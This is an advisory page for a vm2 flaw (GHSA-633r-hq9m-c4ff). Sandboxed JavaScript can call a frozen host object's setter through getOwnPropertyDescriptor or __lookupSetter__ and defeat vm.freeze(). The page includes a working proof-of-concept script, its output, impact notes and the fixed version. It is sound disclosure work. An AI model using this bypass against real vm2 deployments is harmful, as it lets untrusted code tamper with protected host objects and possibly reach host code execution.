GHSA-633r-hq9m-c4ff: Medium severity npm/vm2 vulnerability

Published Oct 1, 2026
·
Updated

Summary Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via lookupSetter.

PoC js // poc.js 'use strict'; const { VM } = require('vm2');

let level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return level; }, set(v) { level = String(v); }, enumerable: true, configurable: true, });

const vm = new VM(); vm.freeze(hostConfig, 'cfg');

// Baseline - documented barriers hold: vm.run(cfg.level = 'via-set';); vm.run(try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}); console.log('after [[Set]]/defineProperty:', level); // → "safe"

// Bypass - sandbox mutates host via accessor descriptor: vm.run( const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); ); console.log('after getOwnPropertyDescriptor→set.call:', level); // → "PWNED"

// Variant - same sink via lookupSetter: vm.run(cfg.lookupSetter('level').call(cfg, 'PWNED-2');); console.log('after lookupSetter:', level); // → "PWNED-2"

sh node poc.js

Observed output:

after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after lookupSetter: PWNED-2

The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side level despite vm.freeze().

Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.

Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).

Affected Software

1 affected componentFixes available
npm/vm2>=3.9.6<=3.11.6
3.11.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/vm2 to a version that resolves this vulnerability.

    Fixed in 3.11.7

Event History

Oct 1, 2026
Advisory Published
via GitHub·03:35 PM
Data Sourced
via GitHub·03:35 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Applications using npm/vm2 to run untrusted JavaScript through VM or NodeVM are exposed if they provide sandbox code with a host object protected using vm.freeze() or vm.readonly() and that object has an own accessor property.

2

What does an attacker need to exploit it?

The attacker needs the ability to run JavaScript in the vm2 sandbox. They can retrieve an accessor setter through Object.getOwnPropertyDescriptor() or __lookupSetter__ and invoke it to mutate the underlying host object.

3

Are non-default vm2 options required for exploitation?

No. The issue does not require non-default VM or NodeVM options; the relevant precondition is a frozen or read-only host object whose shape includes an accessor property.

4

How can I identify potentially affected integrations?

Review VM and NodeVM uses that call vm.freeze() or vm.readonly() on objects passed into the sandbox. Objects with own getter/setter properties, especially setters, are the relevant cases to investigate.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203